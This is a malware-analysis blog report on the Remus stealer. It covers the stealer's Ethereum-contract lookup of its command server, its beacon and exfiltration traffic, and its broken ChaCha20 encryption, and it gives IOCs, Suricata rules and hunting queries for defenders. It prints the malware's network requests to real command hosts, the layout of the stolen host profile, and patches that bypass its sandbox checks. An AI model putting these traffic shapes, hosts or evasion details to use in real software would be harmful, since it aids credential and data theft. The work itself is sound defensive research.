Disclaimer: This blog and all associated research are part of my personal independent study. All hardware, software, and infrastructure are personally owned and funded. No employer resources, property, or proprietary information are used in any part of this work. All opinions and content are my own.
Prior work. Gen Digital published the first public write-up of this family: Remus: 64-bit Variant of Lumma Stealer (April 2026). That blog covers the overall behavioural picture, the crypter wrapper, and the initial IOC set. This report complements — not duplicates — that work: it focuses specifically on the C2 communication protocol (stage-1 EtherHiding resolution and stage-2 beacon/exfil traffic), the cryptography protecting the stage-2 data-ship, and the detection content a SOC/IR team can deploy against that traffic. Findings unique to this report (not in the Gen Digital blog) are called out in §1.
This document is an analysis of the Remus stealer family (the 64-bit successor to Lumma), derived from static reverse engineering and traffic captured against a purpose-built Python C2 simulator. It consolidates everything a SOC, IR, or detection engineer needs to hunt, block, and retroactively decrypt Remus C2 traffic — without needing to read the full reverse-engineering report.
| Primary sample | SHA-256 64db10e76b46be8db36e02993d36559bc3f86606c9ea955731872b716c8f0c69 |
|---|---|
| File type | PE32+ (x86-64), 228 864 bytes |
| Build date | 19.03.2026 (cleartext in .rdata) |
| Campaign ID | 4f67bbdf7d86f1fd4419a24541d580a8 |
| Family banner | # REMUS LOG |
| Attribution | Remus / 64-bit Lumma lineage (Gen Digital blog, April 2026) |
1. Executive Summary
Remus is a two-stage stealer with on-chain C2 resolution. The
sample loads its C2 URL at runtime by calling an Ethereum smart
contract via a public RPC provider (EtherHiding — T1102.002),
then sends form-encoded beacons and multipart/form-data data-ships
to the resolved URL over plain HTTP.
Highest-value defender findings from this session:
- Complete cryptographic break. Remus encrypts each data-ship with ChaCha20 using a per-message random key, but appends that key as a cleartext trailer to the ciphertext. Every captured multipart blob is therefore self-decrypting — no sample memory, no C2, no key-exchange needed.
- Four-field header fingerprint present on every stage-2 request:
Cache-Control: no-cache+Pragma: no-cache+Connection: Keep-Alive- a pinned Chrome-117 User-Agent, with no
Accept*headers. High-precision IDS primitive.
- a pinned Chrome-117 User-Agent, with no
- New hardcoded fallback C2 —
http://coox.live:28313— lives in the in-binary fallback table and is tried before the EtherHiding lookup on a cold boot. Not previously published. - Pre-encryption plaintext recovered. The ciphertext decrypts
to a custom-LZ77-compressed archive whose first entry is
Info.yml— a YAML manifest listing the victim’s OS version, computer name, user, netbios, domain, AV product, motherboard, CPU, RAM, and display resolution in full cleartext. This exposes high-value IR pivots from a PCAP alone.

2. Scope & Lab Setup

- Analyst host (Linux, 192.168.189.10/24): runs
remus_simulator.pybound to:8080(HTTP, for the resolved-C2 exfil leg) and:8443(TLS, for the Ethereum RPC leg), plus tcpdump / pktmon artefact capture and the offline decryption tools. - FlareVM (Windows 10, 192.168.189.20/24): runs the sample
under x64dbg.
hostsmaps the 7 Ethereum RPC providers andcoox.liveto 192.168.189.20;netsh portproxyforwards192.168.189.20:443 → 192.168.189.10:8443(TLS) and192.168.189.20:28313 → 192.168.189.10:8080(plain-HTTP fallback). - Host-only vSwitch — no default gateway, no NAT. The VM is physically incapable of reaching the real C2, the real Ethereum mainnet, or any public-internet host. All C2 behaviour observed is produced by the sample talking to the simulator.
Seven independent validation rounds were run.
3. Protocol Overview
Two stages, in order:
| Stage | Transport | Destination | Purpose |
|---|---|---|---|
| 1 | HTTPS POST | Public Ethereum RPC provider (default eth.llamarpc.com) |
Read the live C2 URL from a smart contract |
| 2 | Plain HTTP POST | Resolved C2 (e.g. coox.live:28313, chalx.live:5902) |
Beacon + exfiltrate stealer data |
On a cold boot the sample tries hardcoded fallback URLs from
g_fallback_c2_url_table BEFORE going to the RPC provider. The
fallback state is tracked in g_c2_rotation_state (byte_21AF1F94018);
the sample rotates after 5 consecutive failed sends per URL. Only
after exhausting the fallback table does the sample execute stage 1.
Stage-2 has three distinct request shapes, all POST /:
| Shape | Content-Type | Size | Role |
|---|---|---|---|
| Probe | application/x-www-form-urlencoded |
~45 B | access_token=&debug=<URL>-<N> (retry counter in <N>) |
| Registration | application/x-www-form-urlencoded |
~74 B | tag=<campaign>&hwid=<32-hex> |
| Data ship | multipart/form-data; boundary=<rand> |
~1 kB | 3 fields: access_token, type, file (encrypted + key trailer) |
4. Stage 1 — EtherHiding C2 Resolution
The sample issues a JSON-RPC eth_call against the Remus smart
contract and decodes the returned dynamic string into the live C2
URL. No traffic goes to the real C2 during this stage — only to a
public Ethereum RPC gateway. [report §7.4] [dyn]
4.1 Request
POST / HTTP/1.1
Host: eth.llamarpc.com
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
{"jsonrpc":"2.0","id":1,"method":"eth_call",
"params":[{"to":"0x999941b74F6bbc921D5174A5b29911562cd2D7CF",
"data":"0xc2fb26a6"},
"latest"]}
4.2 RPC providers the sample will try
eth.llamarpc.com (primary, observed), plus peer providers:
cloudflare-eth.com, rpc.ankr.com, mainnet.infura.io,
eth-mainnet.g.alchemy.com, ethereum-rpc.publicnode.com, 1rpc.io.
[report §7.4]
4.3 Response decoding
The sample searches the RPC response for the JSON key result\0, then
takes the hex string that follows 0x, skips 64 + 64 hex chars
(ABI offset + ABI length), and hex-decodes the remainder pairwise
into UTF-16-LE bytes — which it writes to g_current_c2_url_wstr
(word_21AF1F98E10). [IDA, mw_resolve_c2_url]
4.4 Passive blue-team pivot
Any defender can read the current Remus C2 URL without running
the sample by issuing a read-only eth_call against the contract
using any public block explorer or RPC client. As of 2026-04-11 the
contract state decoded to http://chalx.live:5902. Read it now for
today’s URL. [report §10]
5. Stage 2 — Beacon & Data-Ship Traffic
5.1 Captured traffic, as seen in Wireshark

Figure 3 — One captured stage-2 POST / request. The packet
detail pane shows the full header set directly — Cache-Control:
no-cache, Connection: Keep-Alive, Pragma: no-cache,
Content-Type: application/x-www-form-urlencoded, plus the Chrome-117
User-Agent. The hex view on the bottom makes the Chrome-117
fingerprint visible in-the-wire.

Figure 4 — Display filter http applied; Wireshark shows 198 HTTP
requests (4.0% of the 5 000-packet sample). Every one is a POST /
with the same application/x-www-form-urlencoded content type. Host
192.168.189.20 (FlareVM) → 192.168.189.10:8080 (simulator sink).

Figure 4b — Wireshark Follow-HTTP-Stream view of the registration
beacon (captures/remus_stage2_registration.pcap). Client bytes
(red): the fixed header set — Cache-Control, Connection, Pragma
triad + Chrome-117 UA — followed by the 74-byte form-encoded body
carrying tag=4f67bbdf…d580a8 (cleartext campaign ID, matches the
.rdata literal at 0x21AF1F9302C) and
hwid=26a149153cc3c02d33dc75a3003b88d7 (per-host 32-hex
fingerprint). Server bytes (blue): the simulator’s HTTP/1.1 200 OK
· ok=1&msg=ack reply. Defenders can key IDS rules on any of these
fields individually or in combination (see §10).
![]()
Figure 4c — Wireshark Follow-HTTP-Stream view of a probe beacon
(frame 5 of captures/remus_sample.pcap). Same fixed header set, but
the 45-byte body is access_token=&debug=http://coox.live:28313-20:
the sample echoes the resolved C2 URL it is trying to reach plus a
retry counter (here, 20) that increments on each failed send.
The empty access_token= value is the tell — it stays empty until
the registration succeeds and the server issues a session token.
5.2 Fixed header set
All stage-2 requests carry this exact header set, in this exact order:
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded ← or multipart/form-data
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: <n>
Host: <resolved-c2>:<port>
Diagnostic quirks defenders can key on:
- The
no-cache / no-cache / Keep-Alivetriad in that order is not how real Chrome arranges its headers. - Chrome-117 is pinned — real Chrome auto-updates, so a UA stuck at Chrome/117 on current Windows is a weak signal by itself.
- No
Accept,Accept-Encoding,Accept-Language, orOriginheaders. Real Chrome always emits at least the first three. Connection: Keep-Aliveis claimed but the sample closes the socket after each response (observed).
5.3 Beacon sequence
| # | Shape | Content-Type | Size | Body |
|---|---|---|---|---|
| 1 | Probe | application/x-www-form-urlencoded |
45 B | access_token=&debug=<URL>-<retry_counter> |
| 2 | Registration | application/x-www-form-urlencoded |
74 B | tag=<32-hex campaign-id>&hwid=<32-hex host fingerprint> |
| 3 | Data ship | multipart/form-data; boundary=<rand> |
~1 kB | 3 fields: access_token=, type=0, file (filename=data, octet-stream, ChaCha20 + key trailer) |
| 4+ | Cadence probe | application/x-www-form-urlencoded |
~21 B | Heartbeat (retry counter alone) |
Observations:
- Probe retry counter increments on each retry (observed values
-74,-20,-21,-1030, …). It is visible in the wire body and makes each probe unique, defeating naive dedup at the proxy but providing a useful packet-ordering anchor for analysts. - Multipart boundary is per-request random — 9-char
(
5wwgk75ya), 13-char (TgH3y7uRTDXw), 18-char (gy71i8o45a2Va94RN9) observed across 3 captures. Do not key IDS signatures on the exact boundary string. - Early beacons (1, 2) and cadence heartbeats (4+) do not
carry the
# REMUS LOGbanner. The banner lives inside the encryptedfilefield of a data-ship (shape 3).
5.4 hwid — per-host fingerprint
Observed value on this FlareVM: 26a149153cc3c02d33dc75a3003b88d7.
32 hex characters, stable across runs on the same host. Length
matches MD5. Derivation primitive not yet byte-matched; likely
MD5 of GetComputerNameA + GetUserNameA with a build-time salt.
Defenders collecting hwid=<...> values across an estate can
pivot on hwid as a stable per-host ID without knowing computer or
user names.
6. Cryptographic Analysis
The stage-2 data-ship blob inside the multipart file field is
encrypted with ChaCha20 using a key + nonce that travels as a
cleartext trailer on the blob itself. Source:
mw_encrypt_and_exfiltrate_payload at 0x21AF1F637F0.

Figure 5a — Wireshark Follow-HTTP-Stream view of a full stage-2
data-ship (captures/remus_stage2_dataship.pcap). The request
carries the same header fingerprint as the beacon, but with
Content-Type: multipart/form-data; boundary=5wwgk75ya and three
form parts: access_token (empty), type=0, and file
(filename=data, application/octet-stream). The octet-stream
body is the high-entropy region highlighted in the middle of
the stream — that’s the 726-byte ChaCha20 ciphertext plus its 40-byte
key+nonce trailer. Defenders can grab this exact byte range from a
PCAP and feed it to tools/decrypt_dataship.py for offline
recovery of the cleartext Info.yml manifest (§6.4).

6.1 Encryption pipeline
- Plaintext (the
Info.yml+ other stolen-data files) is run throughmw_lz77_compress(custom LZ77, not zlib). - 10 consecutive
mw_prng_next_dwordcalls produce 40 random bytes → 32 B key + 8 B nonce. mw_chacha20_init_stateinitialises a DJB-layout 64-byte state (sigma"expand 32-byte k", counter=0).mw_chacha20_encrypt_inplacestream-encrypts the LZ77 output in place.- The 40-byte (key||nonce) is appended to the encrypted buffer as a cleartext trailer.
- The result is wrapped in a multipart
filefield and POSTed.

Figure 6 — mw_encrypt_and_exfiltrate_payload pseudocode. Line 67 calls mw_lz77_compress. Lines 72–82 fill a 40-byte stack buffer with 10 mw_prng_next_dword outputs. Lines 83–84 run mw_chacha20_init_state + mw_chacha20_encrypt_inplace. The blob is then wrapped with mw_multipart_add_file_field (further down the function).
6.2 Live x64dbg capture of the encryption step

Figure 7 — State at 0x21AF1F637F0 (mw_encrypt_and_exfiltrate_payload
entry) during the round-7 live session. The dump panel shows the
heap buffer at 0x005B8390 — the pre-encryption plaintext beginning
with the custom archive header 09 00 Info.yml\0 C9 03 00 00 and
the # REMUS LOG banner. This plaintext is fed into mw_lz77_compress
and then into ChaCha20.

*Figure 8 — Left: the 40 random bytes that become the ChaCha20 key
- nonce, as observed in memory at
0x14FAE0/0x14FB00immediately beforemw_chacha20_init_stateis called. Top-right: the buffer BEFORE encryption — the LZ77 output with theInfo.ymlarchive header + REMUS LOG banner visible. Bottom-right: the same buffer AFTERmw_chacha20_encrypt_inplace— now high-entropy ciphertext. The captured key+nonce decrypt it back to the plaintext on the top using the recipe in the left panel.*
6.3 Decryption recipe
# strip trailing 40 bytes (key || nonce), feed to ChaCha20 counter=0
def decrypt_dataship(blob):
ct = blob[:-40]
key = blob[-40:-8] # 32 B
nonce = blob[-8:] # 8 B
return chacha20_xor(key, nonce, 0, ct)
Reference implementation (stdlib-only Python):
tools/decrypt_dataship.py. ECRYPT
test-vector validated; verified on 3 live captures.
6.4 Decrypted payload — the Info.yml manifest

Figure 9 — Left: first 256 bytes of the captured ciphertext blob +
the extracted 40-byte trailer (key + nonce). Right: the decrypted
plaintext with printable runs highlighted — the # REMUS LOG
banner, Info.yml archive header, OS version, computer name, CPU
identifier, RAM, GPU, and display resolution are all in the clear.
The Info.yml manifest (captured pre-encryption from heap):
# REMUS LOG
build:
date: 19.03.2026
tag: {tag}
path: C:\Users\victim\Desktop\64db10e7.exe
elevated: true
ip-address: {ip}
country: {country}
time: {time}
os:
version: Windows 10 Pro (10.0.19044) x64
time-zone: UTC-7
local-date: 18.04.2026 18:01:42
install-date: 04.07.2022 17:28:04
language: en-US
computer-name: DESKTOP-CR
user-name: aaa
netbios: DESKTOP-CR
domain:
hostname: DESKTOP-CR
anti-virus:
- name: Windows Defender
state: active
hardware:
motherboard:
manufacturer: VMware, Inc.
product: VMware
cpu:
- manufacturer: Intel
product: Intel(R) Xeon(R) CPU E5-2670 v3 @ 2.30GHz
core count: 1
ram:
- product: VMW-8192MB
size: 8192MB
gpu:
- VMware SVGA 3D
display: 1920x1080
The {tag}, {ip}, {country}, and {time} placeholders are
filled in after the sample receives a session token from the
registration response. During our simulator runs the response did
not contain a parseable session token, so those fields stayed
templated — in a real infection they would hold the campaign ID,
public IP, GeoIP country, and capture timestamp.
6.5 Defender value
- Retrospective decryption of every captured Remus exfil with no
knowledge of the sample’s runtime state. Grab a PCAP, extract the
filefield of any stage-2 multipart POST, rundecrypt_dataship. Works across the entire Remus family since this scheme lives in a single primary-report function, not a campaign-specific module. - The Info.yml manifest exposes the victim’s OS version, computer name, user, domain, AV product, and hardware profile — all high-value for IR pivoting from a PCAP alone.
7. Reverse-Engineered Functions
VAs assume image base 0x21AF1F60000 (ASLR disabled for this sample).
7.1 C2 URL resolver

Figure 10 — mw_resolve_c2_url @ 0x21AF1F656B0. Two code paths
gated on g_c2_rotation_state: the cold-boot branch decodes a
fallback URL from g_fallback_c2_url_table; the “warm” branch
(state 0xAD) triggers the full EtherHiding lookup and parses the
JSON result field.
7.2 Encoding — string obfuscation & opaque predicates

Figure 11 — The ChaCha20 sigma "expand 32-byte k" is assembled
four DWORDs at a time via one-shot XOR loops whose do/while(!v16)
structure looks like 2³² iterations to a decompiler but runs
exactly once (the counter goes 0→1 and jz falls through). This
same idiom hides every polynomial-XOR string mask in the binary —
see [report §4.1] for the full treatment.
7.3 Encoding — LZ77 compression

Figure 12 — mw_lz77_compress @ 0x21AF1F61EA0. Custom format
with a 2 B magic, 2 B filename length, filename, 4 B content length,
then a stream of literal runs interleaved with back-reference codes.
Not zlib-compatible. See the plate comment in the IDB for the
output structure.
7.4 Encryption — ChaCha20 state setup

Figure 13 — mw_chacha20_init_state @ 0x21AF1F63CD0. Builds the
64-byte ChaCha20 state block: sigma constant + 32 B key + 8 B
counter + 8 B nonce (DJB layout). Counter is initialized to 0.
7.5 Encryption — ChaCha20 stream XOR

Figure 14 — mw_chacha20_encrypt_inplace @ 0x21AF1F63F30. Per-block
loop: 20 rounds (10 column+row pairs) over the state, add the
result to the original state, XOR the serialized keystream with the
input buffer, increment the counter, advance pointers, repeat
until n_bytes consumed.
7.6 Transport — multipart file field

Figure 15 — mw_multipart_add_file_field @ 0x21AF1F632F0.
Builds the literal multipart boilerplate with fixed strings
name="file", filename="data", Content-Type: application/
octet-stream. These are a high-precision defender fingerprint —
they appear verbatim on every Remus stage-2 data-ship.
8. Execution Gating & Popup Bypass
Before stage-1 fires, the sample runs a gate chain:
mw_env_check— environment/OS validation.mw_check_sandbox_dlls— 11 salted-CRC32 DLL hashes + Outlookhoney@pot.com.psthoneypot check.mw_crypter_check— for the VT-hash sample, this function emits the “REMUS” / “Click Cancel to prevent malware from executing” dialog via a direct syscall toNtRaiseHardError(SSN0x167) routed throughmw_direct_syscall_wrapper. The dialog is hosted bycsrss.exeon a privileged desktop, so user-modeSendInput/FindWindow/SendKeysare all blocked by UIPI.mw_check_cpuid_hypervisor— CPUID leaf0x40000000vs 5 obfuscated vendor IDs; on VMware this returnsAL = 1and the sample aborts viaExitProcess(0).
8.1 Bypass recipe for unattended runs
Patch 0x21AF1F87A10 with 3 bytes: B0 01 C3 (mov al,1; ret).

Figure 16 — Left: original mw_crypter_check entry — 828 B of
code, 223 basic blocks, leading to the NtRaiseHardError dialog.
Right: stubbed with mov al,1; ret — the gate returns “OK”
immediately, skipping the popup + the whole decoy state machine.
Validated end-to-end: the stubbed sample proceeds through the full
chain to stage-2 beacons with no dialog at all.
Two other patches that do not work and why:
ntdll!NtRaiseHardError → xor eax,eax; ret(no Response write): caller reads stale 0 (ResponseReturnToCaller) from the out pointer, downstream gate aborts viaExitProcess(0).ntdll!NtRaiseHardErrorwriting*Response = 6(ResponseOk): sample still exits. The crypter gate checks a second piece of state only set when the dialog really ran, so a return-only patch at the syscall stub isn’t sufficient. The 3-bytemw_crypter_checkstub sidesteps that check.
8.2 VMware detection — override AL at the CPUID return
At 0x21AF1F88D9F (mw_check_cpuid_hypervisor ret), when the
breakpoint fires, set AL=0 in x64dbg before continuing.
9. Indicators of Compromise
9.1 In-binary static IOCs
| Type | Value | Notes |
|---|---|---|
| SHA-256 | 64db10e76b46be8db36e02993d36559bc3f86606c9ea955731872b716c8f0c69 |
Primary VT sample |
| Family banner | # REMUS LOG |
Cleartext @ 0x21AF1F93020 |
| Campaign ID | 4f67bbdf7d86f1fd4419a24541d580a8 |
Cleartext @ 0x21AF1F9302C |
| Build date | 19.03.2026 |
Cleartext @ 0x21AF1F92A90 |
| Sandbox hashes | 44-byte salted-CRC32 table | @ 0x21AF1F92EE0 — see [report §7.3] |
9.2 Stage-1 network IOCs
| Field | Value |
|---|---|
| RPC gateway (primary) | eth.llamarpc.com |
| RPC peers (any may be used) | cloudflare-eth.com, rpc.ankr.com, mainnet.infura.io, eth-mainnet.g.alchemy.com, ethereum-rpc.publicnode.com, 1rpc.io |
| Contract address | 0x999941b74F6bbc921D5174A5b29911562cd2D7CF (Ethereum mainnet) |
| Function selector | 0xc2fb26a6 |
| RPC method / body | eth_call + "latest" |
9.3 Stage-2 network IOCs
| Destination | First observed | Notes |
|---|---|---|
chalx.live:5902 |
[report §7.4] (blockchain decode 2026-04-11) | Live C2 from on-chain contract |
coox.live:28313 |
[dyn] | New — hardcoded fallback, not previously published |
Plus the rotating payload signatures in the file field’s key
trailer (different per message) — not a useful IOC since each
request carries its own.
9.4 Host fingerprint (hwid)
32-character lowercase hex string, stable per host. Appears in the
registration beacon as hwid=<32-hex>. Length matches MD5. Stable
across runs on the same host.
10. Detection Content
10.1 Suricata rules
Rules 10, 11, 14, 15, and 20–23 were verified to fire against the round-3 capture and artifacts. Rules 12, 13, and 1–3 cover wider-net hunting across the family.
# Stage-1 EtherHiding lookup ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
alert http $HOME_NET any -> any any (msg:"Remus EtherHiding eth_call to Lumma/Remus contract";
flow:established,to_server;
http.method; content:"POST";
http.header; content:"Content-Type|3A| application/json";
http.request_body;
content:"\"method\":\"eth_call\"";
content:"\"to\":\"0x999941b74f6bbc921d5174a5b29911562cd2d7cf\""; nocase;
classtype:trojan-activity; sid:9001001; rev:1;)
alert http $HOME_NET any -> any any (msg:"Remus EtherHiding selector 0xc2fb26a6";
http.request_body; content:"\"data\":\"0xc2fb26a6\"";
classtype:trojan-activity; sid:9001002; rev:1;)
alert http $HOME_NET any -> any any (msg:"Remus Chrome/117 UA + ETH-RPC destination";
http.user_agent; content:"Chrome/117.0.0.0 Safari/537.36"; depth:80;
http.host; pcre:"/(^|\\.)(eth\\.llamarpc|cloudflare-eth|rpc\\.ankr|mainnet\\.infura|eth-mainnet\\.g\\.alchemy|ethereum-rpc\\.publicnode|1rpc)\\.(com|io)$/";
classtype:trojan-activity; sid:9001003; rev:1;)
# Stage-2 beacons & data-ship ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
alert http $HOME_NET any -> any any (msg:"Remus stage-2 probe beacon (access_token + debug=URL)";
flow:established,to_server;
http.method; content:"POST";
http.header; content:"application/x-www-form-urlencoded";
http.request_body;
content:"access_token="; depth:14;
content:"&debug=http"; distance:0; within:48;
classtype:trojan-activity; sid:9001010; rev:1;)
alert http $HOME_NET any -> any any (msg:"Remus stage-2 registration beacon (tag= + hwid=)";
flow:established,to_server;
http.method; content:"POST";
http.header; content:"application/x-www-form-urlencoded";
http.request_body;
content:"tag="; depth:4;
content:"&hwid="; distance:0; within:60;
pcre:"/tag=[0-9a-f]{32}&hwid=[0-9a-f]{32}/";
classtype:trojan-activity; sid:9001011; rev:1;)
alert http $HOME_NET any -> any any (msg:"Remus exfil log banner in HTTP body";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"# REMUS LOG "; depth:128;
classtype:trojan-activity; sid:9001012; rev:1;)
alert http $HOME_NET any -> any any (msg:"Remus campaign ID 4f67bbdf… in HTTP body";
flow:established,to_server;
http.request_body; content:"4f67bbdf7d86f1fd4419a24541d580a8"; depth:256;
classtype:trojan-activity; sid:9001013; rev:1;)
alert http $HOME_NET any -> any any (msg:"Remus stage-2 multipart data ship (name=file + filename=data + type=0)";
flow:established,to_server;
http.method; content:"POST";
http.header; content:"multipart/form-data";
http.request_body;
content:"name=|22|access_token|22|";
content:"name=|22|type|22|";
content:"name=|22|file|22|"; content:"filename=|22|data|22|";
content:"application/octet-stream";
classtype:trojan-activity; sid:9001014; rev:1;)
alert http $HOME_NET any -> any any (msg:"Remus stage-2 fixed header fingerprint (no-cache triad + Chrome-117 + no Accept*)";
flow:established,to_server;
http.method; content:"POST";
http.header; content:"Cache-Control|3A| no-cache|0D 0A|";
http.header; content:"Connection|3A| Keep-Alive|0D 0A|";
http.header; content:"Pragma|3A| no-cache|0D 0A|";
http.user_agent; content:"Chrome/117.0.0.0 Safari/537.36";
http.header; content:!"Accept|3A|";
http.header; content:!"Accept-Encoding|3A|";
http.header; content:!"Accept-Language|3A|";
classtype:trojan-activity; sid:9001015; rev:1;)
# Destination-based signatures ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
alert http $HOME_NET any -> any any (msg:"Remus fallback C2 host coox.live";
http.host; content:"coox.live"; endswith;
classtype:trojan-activity; sid:9001020; rev:1;)
alert http $HOME_NET any -> any any (msg:"Remus stage-2 exfil host chalx.live";
http.host; content:"chalx.live"; endswith;
classtype:trojan-activity; sid:9001021; rev:1;)
alert ip $HOME_NET any -> any any (msg:"Remus stage-2 unusual dest port 28313 (coox.live)";
dsize:>40; tcp.dst_port:28313; classtype:trojan-activity; sid:9001022; rev:1;)
alert ip $HOME_NET any -> any any (msg:"Remus stage-2 unusual dest port 5902 (chalx.live)";
dsize:>40; tcp.dst_port:5902; classtype:trojan-activity; sid:9001023; rev:1;)
10.2 YARA rules
The two family-level and sample-specific rules from the primary
report (report/remus_64bit_lumma_analysis.md §9) cover the
on-disk binary. No new YARA is added here — the network signatures
above complement rather than duplicate them.
11. Hunting Queries
11.1 Proxy / web-gateway logs
method="POST" AND
(
(host IN ("eth.llamarpc.com","cloudflare-eth.com","rpc.ankr.com",
"mainnet.infura.io","eth-mainnet.g.alchemy.com",
"ethereum-rpc.publicnode.com","1rpc.io")
AND request_body CONTAINS "eth_call"
AND request_body CONTAINS "0xc2fb26a6")
OR
(host IN ("chalx.live","coox.live"))
OR
(user_agent CONTAINS "Chrome/117.0.0.0 Safari/537.36"
AND url_path = "/"
AND headers CONTAINS "Cache-Control: no-cache"
AND headers NOT_CONTAINS "Accept-Encoding:")
)
11.2 EDR process-network telemetry
process_image NOT IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe",
"opera.exe","metamask.exe")
AND (
dest_host IN ("eth.llamarpc.com","cloudflare-eth.com","rpc.ankr.com",
"mainnet.infura.io","eth-mainnet.g.alchemy.com",
"ethereum-rpc.publicnode.com","1rpc.io",
"chalx.live","coox.live")
OR dest_port IN (5902,28313)
)
11.3 DNS logs
qname IN ("chalx.live","coox.live")
OR (qname MATCHES /.*\.(llamarpc|cloudflare-eth|rpc\.ankr|infura|alchemy|publicnode|1rpc)\.(com|io)$/
AND query_process NOT IN (<browser/wallet allowlist>))
12. Verified vs Inferred
| Claim | Source |
|---|---|
Chrome-117 UA, dwAccessType=1, dwFlags=0 at WinHttpOpen |
[report §7.6] + [dyn] |
eth_call body shape (method/to/data/latest) |
[IDA] + [dyn smoke test] |
| ABI response → UTF-16-LE URL bytes | [IDA mw_resolve_c2_url] |
Stage-2 method = POST, path = / |
[dyn] |
Stage-2 Content-Type = application/x-www-form-urlencoded / multipart |
[dyn] |
| Probe / registration / data-ship body shapes | [dyn] |
| Fixed 4-header fingerprint (no-cache triad + Chrome-117 + no Accept*) | [dyn] |
Fallback URL coox.live:28313 hardcoded in g_fallback_c2_url_table |
[dyn] |
| Multipart boundary is per-request random, variable length | [dyn] |
| ChaCha20 (DJB 8+8 layout) encryption, counter=0 | [IDA + dyn decrypt] |
| 40-byte key+nonce trailer appended to every ciphertext | [IDA + dyn decrypt] |
Plaintext is custom-LZ77 with Info.yml first entry |
[dyn, decrypted] |
| Info.yml field names + victim host data present in plaintext | [dyn, round-7 heap read] |
Popup emitted from inside mw_crypter_check via NtRaiseHardError |
[dyn, stub test] |
3-byte stub at 0x21AF1F87A10 bypasses popup unattended |
[dyn] |
| hwid length = 32 hex chars | [dyn] |
| hwid derivation primitive | [inferred] MD5 likely |
| Stage-2 HTTP success status range | [inferred] 200–299 |
Appendix A — IDB Rename Map
Applied via IDA MCP on 2026-04-18 for this session. See also the
primary-report Appendix A for earlier renames from static analysis.
| Address | Name | Role |
|---|---|---|
0x21AF1F637F0 |
mw_encrypt_and_exfiltrate_payload |
Stage-2 multipart data-ship builder (ChaCha20 + trailer) |
0x21AF1F61EA0 |
mw_lz77_compress |
Pre-encryption custom compressor |
0x21AF1F63CD0 |
mw_chacha20_init_state |
ChaCha20 64-byte state setup |
0x21AF1F63F30 |
mw_chacha20_encrypt_inplace |
ChaCha20 stream XOR (20 rounds) |
0x21AF1F63020 |
mw_multipart_add_text_field |
Adds access_token / type fields |
0x21AF1F632F0 |
mw_multipart_add_file_field |
Adds file field (octet-stream) |
0x21AF1F64860 |
mw_prng_next_dword |
PRNG producing key + nonce bytes |
0x21AF1F65240 |
mw_http_post_with_retry |
5-attempt retry wrapper w/ URL rotation |
0x21AF1F656B0 |
mw_resolve_c2_url |
Fallback-table OR on-chain C2 URL resolver |
0x21AF1F65D00 |
mw_build_formurlencoded_exfil |
Probe / registration body builder |
0x21AF1F94018 |
g_c2_rotation_state |
State byte for fallback-URL rotation |
0x21AF1F98DA0 |
g_hwid_buffer |
Per-host 32-hex fingerprint buffer |
0x21AF1F98E10 |
g_current_c2_url_wstr |
Resolved C2 URL (UTF-16) |
0x21AF1F98D90 |
g_prng_state |
PRNG state |
0x21AF1F91C80 |
g_fallback_c2_url_table |
Hardcoded-fallback C2 URL table |
0x21AF1F98DC8 |
g_session_chacha20_state |
Session-wide ChaCha20 state (unrelated to exfil cipher) |